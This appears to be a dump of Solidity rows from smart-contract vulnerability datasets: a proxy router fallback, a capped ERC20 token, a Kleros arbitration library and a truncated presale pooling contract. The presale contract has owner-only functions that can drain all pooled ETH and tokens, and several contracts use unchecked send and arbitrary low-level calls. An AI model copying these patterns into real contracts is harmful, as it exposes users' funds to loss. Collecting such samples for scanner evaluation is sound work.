log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
bytes4 sig4 = msg.sig;
require(_contains(sig4), "Invalid selector");
// Identify target
address implementation = _routes[_routeIndexes[sig4]].implementation;
bool isView = _routes[_routeIndexes[sig4]].isView;
if (isView) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := staticcall(gas, implementation, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
} else {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
Proxyable(implementation).setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, implementation, callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
}
modifier onlyTargets {
require(_targetReferences[msg.sender] > 0, "Must be a proxy target");
_;
}
event RouteUpdated(bytes4 route, address implementation, bool isView);
event RouteRemoved(bytes4 route);
event TargetedRouteAdded(address targetedRoute);
event TargetedRouteRemoved(address targetedRoute);
}
| 151,660 | 11,279 |
1b8895f09ab4e17882dac5bfbf71b04011c55e69396dad16f6a6f9d0bd4d542b
| 30,590 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/01/01eef87bda971771ede3fa14758a508efa45b2f6_Knights.sol
| 3,383 | 13,517 |
// File: knightsToken1.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 public totalMinted;
uint256 public constant maxMintCap = 45000 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return maxMintCap;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
require(totalMinted.add(amount) <= maxMintCap, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
totalMinted = totalMinted.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// Knights Token.
contract Knights is ERC20('Knights', 'KNIGHTS') {
//Pre-minting of X number of tokens for initial liquidity injection
constructor () public {
_mint(msg.sender, 30000 * 10 ** 18);
}
address public masterchef;
// @dev Throws if called by any account other than the Masterchef.
modifier onlyMasterchef() {
require(msg.sender == masterchef, "Caller is not the Masterchef");
_;
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyMasterchef {
_mint(_to, _amount);
}
function initializeMC(address _masterchef) public onlyOwner {
require(masterchef == address(0), "Already initialized");
require(_masterchef != address(0), "INCORRECT INPUT");
require(_masterchef != address(msg.sender), "INCORRECT INPUT");
require(_masterchef != address(this), "INCORRECT INPUT");
masterchef = _masterchef;
}
}
| 321,413 | 11,280 |
6f218a21aba2de05dba5a4c7145fe42adc74fce64dd6e070931ca2c6e7292186
| 22,684 |
.sol
|
Solidity
| false |
311709104
|
kleros/arbitrable-contract-libraries
|
3a6072520b6bdfc5d213cc699b4113475a62b08b
|
contracts/libraries/MultiOutcome/MultiOutcomeArbitrable.sol
| 4,136 | 14,510 |
pragma solidity >=0.7;
import "@kleros/erc-792/contracts/IArbitrator.sol";
import "@kleros/ethereum-libraries/contracts/CappedMath.sol";
library MultiOutcomeArbitrable {
using CappedMath for uint256;
uint256 private constant MAX_NO_OF_CHOICES = type(uint256).max;
uint256 private constant MULTIPLIER_DIVISOR = 10000; // Divisor parameter for multipliers.
enum Status {None, Disputed, Resolved}
struct Round {
mapping(uint256 => uint256) paidFees; // Tracks the fees paid by each ruling in this round.
uint256 rulingFunded;
uint256 totalFees; // Sum of fees paid during the funding of the appeal round.
uint256 appealCost; // Fees sent to the arbitrator in order to appeal.
mapping(address => mapping(uint256 => uint256)) contributions; // Maps contributors to their contributions for each ruling.
}
struct DisputeData {
mapping(uint256 => Round) rounds;
uint248 roundCounter;
Status status;
uint256 ruling;
uint256 disputeIDOnArbitratorSide;
}
struct ArbitrableStorage {
IArbitrator arbitrator; // Address of the arbitrator contract. Should only be set once. TRUSTED.
bytes arbitratorExtraData; // Extra data to set up the arbitration.
uint256 sharedStakeMultiplier;
uint256 winnerStakeMultiplier; // Multiplier for calculating the appeal fee of the party that won the previous round.
uint256 loserStakeMultiplier; // Multiplier for calculating the appeal fee of the party that lost the previous round.
mapping(uint256 => DisputeData) disputes; // disputes[localDisputeID]
mapping(uint256 => uint256) externalIDtoLocalID;
}
/// @dev See {@kleros/erc-792/contracts/IArbitrable.sol}.
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeIDOnArbitratorSide, uint256 _ruling);
/// @dev See {@kleros/erc-792/contracts/erc-1497/IEvidence.sol}.
event Evidence(IArbitrator indexed _arbitrator, uint256 indexed _evidenceGroupID, address indexed _party, string _evidence);
/// @dev See {@kleros/erc-792/contracts/erc-1497/IEvidence.sol}.
event Dispute(IArbitrator indexed _arbitrator, uint256 indexed _disputeIDOnArbitratorSide, uint256 _metaEvidenceID, uint256 _evidenceGroupID);
event HasPaidAppealFee(uint256 indexed _localDisputeID, uint256 _round, uint256 indexed _ruling);
event AppealContribution(uint256 indexed _localDisputeID, uint256 _round, uint256 indexed _ruling, address indexed _contributor, uint256 _amount);
event Withdrawal(uint256 indexed _localDisputeID, uint256 indexed _round, uint256 _ruling, address indexed _contributor, uint256 _reward);
// **************************** //
// * Modifying the state * //
// **************************** //
function setMultipliers(ArbitrableStorage storage self,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier) internal {
self.sharedStakeMultiplier = _sharedStakeMultiplier;
self.winnerStakeMultiplier = _winnerStakeMultiplier;
self.loserStakeMultiplier = _loserStakeMultiplier;
}
function setArbitrator(ArbitrableStorage storage self,
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData) internal {
require(self.arbitrator == IArbitrator(0x0) && _arbitrator != IArbitrator(0x0),
"Arbitrator is set or is invalid.");
self.arbitrator = _arbitrator;
self.arbitratorExtraData = _arbitratorExtraData;
}
function createDispute(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _arbitrationCost,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID) internal returns(uint256 disputeID) {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.None, "Dispute already created.");
disputeID = self.arbitrator.createDispute{value: _arbitrationCost}(MAX_NO_OF_CHOICES, self.arbitratorExtraData);
dispute.disputeIDOnArbitratorSide = disputeID;
dispute.status = Status.Disputed;
dispute.roundCounter = 1;
self.externalIDtoLocalID[disputeID] = _localDisputeID;
emit Dispute(self.arbitrator, disputeID, _metaEvidenceID, _evidenceGroupID);
}
function submitEvidence(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _evidenceGroupID,
string memory _evidence) internal {
require(self.disputes[_localDisputeID].status < Status.Resolved,
"The dispute is resolved.");
if (bytes(_evidence).length > 0)
emit Evidence(self.arbitrator, _evidenceGroupID, msg.sender, _evidence);
}
function fundAppeal(ArbitrableStorage storage self, uint256 _localDisputeID, uint256 _ruling) internal {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Disputed, "No ongoing dispute to appeal.");
uint256 currentRound = uint256(dispute.roundCounter - 1);
Round storage round = dispute.rounds[currentRound];
uint256 rulingFunded = round.rulingFunded; // Use local variable for gas saving purposes.
require(_ruling != rulingFunded && _ruling != 0,
"Ruling is funded or is invalid.");
(uint256 appealCost, uint256 totalCost) = getAppealFeeComponents(self, _localDisputeID, _ruling);
uint256 paidFee = round.paidFees[_ruling]; // Use local variable for gas saving purposes.
// Take up to the amount necessary to fund the current round at the current costs.
(uint256 contribution, uint256 remainingETH) = calculateContribution(msg.value, totalCost.subCap(paidFee));
round.contributions[msg.sender][_ruling] += contribution;
paidFee += contribution;
round.paidFees[_ruling] = paidFee;
round.totalFees += contribution; // Contributors to rulings that don't get fully funded can still win/lose rewards/contributions.
emit AppealContribution(_localDisputeID, currentRound, _ruling, msg.sender, contribution);
// Reimburse leftover ETH if any.
if (remainingETH > 0)
msg.sender.send(remainingETH); // Deliberate use of send in order not to block the contract in case of reverting fallback.
if (paidFee >= totalCost) {
emit HasPaidAppealFee(_localDisputeID, currentRound, _ruling);
if (rulingFunded == 0) {
round.rulingFunded = _ruling;
} else {
// Two rulings are fully funded. Create an appeal.
self.arbitrator.appeal{value: appealCost}(dispute.disputeIDOnArbitratorSide, self.arbitratorExtraData);
round.appealCost = appealCost;
round.rulingFunded = 0; // clear storage
dispute.roundCounter = uint248(currentRound + 2); // currentRound starts at 0 while roundCounter at 1.
}
}
}
function processRuling(ArbitrableStorage storage self,
uint256 _disputeIDOnArbitratorSide,
uint256 _ruling) internal returns(uint256 finalRuling) {
uint256 localDisputeID = self.externalIDtoLocalID[_disputeIDOnArbitratorSide];
DisputeData storage dispute = self.disputes[localDisputeID];
IArbitrator arbitrator = self.arbitrator;
require(dispute.status == Status.Disputed &&
msg.sender == address(arbitrator),
"Ruling can't be processed.");
Round storage round = dispute.rounds[dispute.roundCounter - 1];
if (round.rulingFunded == 0)
finalRuling = _ruling;
else
finalRuling = round.rulingFunded;
dispute.status = Status.Resolved;
dispute.ruling = finalRuling;
emit Ruling(arbitrator, _disputeIDOnArbitratorSide, finalRuling);
}
function withdrawFeesAndRewards(ArbitrableStorage storage self,
uint256 _localDisputeID,
address payable _beneficiary,
uint256 _round,
uint256 _ruling) internal {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Resolved, "Dispute not resolved.");
uint256 reward = getWithdrawableAmount(self, _localDisputeID, _beneficiary, _round, _ruling);
if (reward > 0) {
dispute.rounds[_round].contributions[_beneficiary][_ruling] = 0;
emit Withdrawal(_localDisputeID, _round, _ruling, _beneficiary, reward);
_beneficiary.send(reward); // It is the user responsibility to accept ETH.
}
}
function batchWithdrawFeesAndRewards(ArbitrableStorage storage self,
uint256 _localDisputeID,
address payable _beneficiary,
uint256 _cursor,
uint256 _count,
uint256 _ruling) internal {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Resolved, "Dispute not resolved.");
uint256 maxRound = _cursor + _count > dispute.roundCounter ? dispute.roundCounter : _cursor + _count;
uint256 reward;
for (uint256 i = _cursor; i < maxRound; i++) {
uint256 roundReward = getWithdrawableAmount(self, _localDisputeID, _beneficiary, i, _ruling);
reward += roundReward;
if (roundReward > 0) {
dispute.rounds[i].contributions[_beneficiary][_ruling] = 0;
emit Withdrawal(_localDisputeID, i, _ruling, _beneficiary, roundReward);
}
}
_beneficiary.send(reward); // It is the user responsibility to accept ETH.
}
// ******************** //
// * Getters * //
// ******************** //
function getWithdrawableAmount(ArbitrableStorage storage self,
uint256 _localDisputeID,
address _beneficiary,
uint256 _round,
uint256 _ruling) internal view returns(uint256 reward) {
DisputeData storage dispute = self.disputes[_localDisputeID];
Round storage round = dispute.rounds[_round];
uint256 lastRound = dispute.roundCounter - 1;
uint256 finalRuling = dispute.ruling;
mapping(uint256 => uint256) storage contributionTo = round.contributions[_beneficiary];
if (_round == lastRound) {
// Allow to reimburse if funding was unsuccessful, i.e. appeal wasn't created.
reward = contributionTo[_ruling];
} else if (round.paidFees[finalRuling] > 0) {
// If there is a winner, reward the winner.
if (_ruling == finalRuling) {
uint256 feeRewards = round.totalFees - round.appealCost;
reward = (contributionTo[_ruling] * feeRewards) / round.paidFees[_ruling];
}
} else {
// There is no winner. Reimburse unspent fees proportionally.
uint256 feeRewards = round.totalFees - round.appealCost;
reward = round.totalFees > 0 ? (contributionTo[_ruling] * feeRewards) / round.totalFees : 0;
}
}
function calculateContribution(uint256 _available,
uint256 _requiredAmount) internal pure returns(uint256 taken, uint256 remainder) {
if (_requiredAmount > _available)
return (_available, 0); // Take whatever is available, return 0 as leftover ETH.
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function getAppealFeeComponents(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _ruling) internal view returns (uint256 appealCost, uint256 totalCost) {
DisputeData storage dispute = self.disputes[_localDisputeID];
IArbitrator arbitrator = self.arbitrator;
uint256 disputeIDOnArbitratorSide = dispute.disputeIDOnArbitratorSide;
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(disputeIDOnArbitratorSide);
require(block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd, "Not in appeal period.");
uint256 multiplier;
uint256 winner = arbitrator.currentRuling(disputeIDOnArbitratorSide);
if (winner == _ruling){
multiplier = self.winnerStakeMultiplier;
} else if (winner == 0){
multiplier = self.sharedStakeMultiplier;
} else {
require(block.timestamp < (appealPeriodEnd + appealPeriodStart)/2, "Not in loser's appeal period.");
multiplier = self.loserStakeMultiplier;
}
appealCost = arbitrator.appealCost(disputeIDOnArbitratorSide, self.arbitratorExtraData);
totalCost = appealCost.addCap(appealCost.mulCap(multiplier) / MULTIPLIER_DIVISOR);
}
function getFinalRuling(ArbitrableStorage storage self, uint256 _localDisputeID) internal view returns(uint256) {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Resolved, "Arbitrator has not ruled yet.");
return dispute.ruling;
}
function getArbitrationCost(ArbitrableStorage storage self) internal view returns(uint256) {
return self.arbitrator.arbitrationCost(self.arbitratorExtraData);
}
function getNumberOfRounds(ArbitrableStorage storage self, uint256 _localDisputeID) internal view returns (uint256) {
return self.disputes[_localDisputeID].roundCounter;
}
function getRoundInfo(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _round) internal view returns(uint256 rulingFunded,
uint256 feeRewards,
uint256 appealCostPaid,
bool appealed) {
DisputeData storage dispute = self.disputes[_localDisputeID];
Round storage round = dispute.rounds[_round];
rulingFunded = round.rulingFunded;
feeRewards = round.totalFees - round.appealCost;
appealCostPaid = round.appealCost;
appealed = _round != dispute.roundCounter - 1;
}
function getContribution(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _round,
address _contributor,
uint256 _ruling) internal view returns(uint256 contribution, uint256 rulingContributions) {
DisputeData storage dispute = self.disputes[_localDisputeID];
Round storage round = dispute.rounds[_round];
contribution = round.contributions[_contributor][_ruling];
rulingContributions = round.paidFees[_ruling];
}
}
| 16,906 | 11,281 |
75962acbd77f9d88c14883100bc1f09552191948ad6dea9618196d25b6a22cbd
| 14,160 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4313055ba0c616239fd9c14b04e46b48033feeb6.sol
| 4,120 | 13,125 |
pragma solidity ^0.4.19;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------B
//"EXTERN" CONTRACTS
//============================
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Viscous {
function is_whitelisted(address) constant returns (bool);
}
//============================
contract Controller {
address public owner;
//event ChangeOwner(address new_owner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
//ChangeOwner(new_owner);
}
function Controller() {
owner = msg.sender;
}
}
contract Contract is Controller {
//EVENTS
//============================
//============================
using SafeMath for uint256;
struct Contributor {
uint256 balance;
uint256 fee;
uint8 rounds;
bool whitelisted;
}
struct Snapshot {
uint256 tokens_balance;
uint256 eth_balance;
}
modifier minAmountReached {
require(this.balance >= min_amount);
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
//FEES RELATED
//============================
address constant public DEVELOPER1 = 0x8C006d807EBAe91F341a4308132Fd756808e0126;
address constant public DEVELOPER2 = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 constant public FEE_DEV = 670; //0.2% fee per dev -> so 0.4% fee in total
//============================
//VARIABLES TO BE CHANGED BY OWNER
//============================
uint256 public FEE_OWNER; //value as divisor (ie. 1 / FEE_OWNER = % Rate) or (1 / 200 = 0.4%)
uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
uint256 public individual_cap;
uint256 public gas_price_max;
uint8 public rounds;
//flag controlled by owner to enable/disable whitelists for viscous or temporary whitelist
bool public whitelist_enabled;
//Contract containing the data
Viscous public viscous_contract = Viscous(0x0);
//============================
//CONTRACT VARIABLES
//============================
//=== ARRAYS & MAPPINGS ===
mapping (address => Contributor) public contributors;
//First element will be the first wave of tokens, and so forth
Snapshot[] public snapshots;
//=== UINT ===
// Record ETH value of tokens currently held by contract.
uint256 public const_contract_eth_value;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 public percent_reduction;
//=== ADDRESSES ===
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//=== BOOLS ===
//Track whether the contract has bought the tokens yet.
bool public bought_tokens;
//Track if the owner partially refunds his fee in the event of a partial refund post-buy
bool public owner_supplied_eth;
bool public allow_contributions = true;
//============================
function Contract(uint256 _max_amount,
uint256 _min_amount,
bool _whitelist,
uint256 _owner_fee_divisor) {
max_amount = calculate_with_fees(_max_amount); //0 means there is no limit
min_amount = calculate_with_fees(_min_amount);
whitelist_enabled = _whitelist;
FEE_OWNER = _owner_fee_divisor;
Contributor storage contributor = contributors[msg.sender];
contributor.whitelisted = true;
}
//OWNER FUNCTIONS
//============================
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens(bytes _data) onlyOwner minAmountReached {
//Avoids burning the funds
require(!bought_tokens && sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
const_contract_eth_value = this.balance;
take_fees_eth_dev();
take_fees_eth_owner();
//Record the amount of ETH sent as the contract's current value.
const_contract_eth_value = this.balance;
// Transfer all the funds to the crowdsale address.
require(sale.call.gas(msg.gas).value(this.balance)(_data));
//BuyTheTokens(sale, const_contract_eth_value, _data);
}
//These two functions concern the "temporary" whitelist
function whitelist_addys(address[] _addys) onlyOwner {
for (uint256 i = 0; i < _addys.length; i++) {
Contributor storage contributor = contributors[_addys[i]];
contributor.whitelisted = true;
}
}
function blacklist_addys(address[] _addys) onlyOwner {
for (uint256 i = 0; i < _addys.length; i++) {
Contributor storage contributor = contributors[_addys[i]];
contributor.whitelisted = false;
}
}
function set_gas_price_max(uint256 _gas_price) onlyOwner {
gas_price_max = _gas_price;
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_allow_contributions(bool _boolean) onlyOwner {
allow_contributions = _boolean;
}
function set_tokens_received() onlyOwner {
tokens_received();
}
function set_percent_reduction(uint256 _reduction) onlyOwner payable {
require(bought_tokens && rounds == 0 && _reduction <= 100);
percent_reduction = _reduction;
if (msg.value > 0) {
owner_supplied_eth = true;
}
//we substract by contract_eth_value*_reduction basically
const_contract_eth_value = const_contract_eth_value.sub((const_contract_eth_value.mul(_reduction)).div(100));
}
function set_whitelist_enabled(bool _boolean) onlyOwner {
whitelist_enabled = _boolean;
//Whitelist(_boolean);
}
function change_viscous_contract(address _addy) onlyOwner {
viscous_contract = Viscous(_addy);
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = calculate_with_fees(_amount);
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = calculate_with_fees(_amount);
}
function change_fee(uint256 _fee) onlyOwner {
FEE_OWNER = _fee;
}
function emergency_token_withdraw(address _address) onlyOwner {
ERC20 temp_token = ERC20(_address);
require(temp_token.transfer(msg.sender, temp_token.balanceOf(this)));
}
function emergency_eth_withdraw() onlyOwner {
msg.sender.transfer(this.balance);
}
//INTERNAL FUNCTIONS
//============================
// Allows any user to withdraw his tokens.
function withdraw(address _user) internal {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
Contributor storage contributor = contributors[_user];
if (contributor.rounds < rounds) {
//contributor can claim his bonus tokens of previous rounds if he didn't withdrawn
//uint256 this_contribution_claim = (rounds-contributor.rounds)*contributor.balance;
Snapshot storage snapshot = snapshots[contributor.rounds];
uint256 tokens_to_withdraw = contributor.balance.mul(snapshot.tokens_balance).div(snapshot.eth_balance);
snapshot.tokens_balance = snapshot.tokens_balance.sub(tokens_to_withdraw);
snapshot.eth_balance = snapshot.eth_balance.sub(contributor.balance);
// Update the value of tokens currently held by the contract.
//contract_eth_value -= contributor.balance;
contributor.rounds++;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(_user, tokens_to_withdraw));
//Withdraw(_user, tokens_to_withdraw);
}
}
// Allows any user to get his eth refunded before the purchase is made.
function refund(address _user) internal {
require(!bought_tokens && percent_reduction == 0);
Contributor storage contributor = contributors[_user];
uint256 eth_to_withdraw = contributor.balance.add(contributor.fee);
// Update the user's balance prior to sending ETH to prevent recursive call.
contributor.balance = 0;
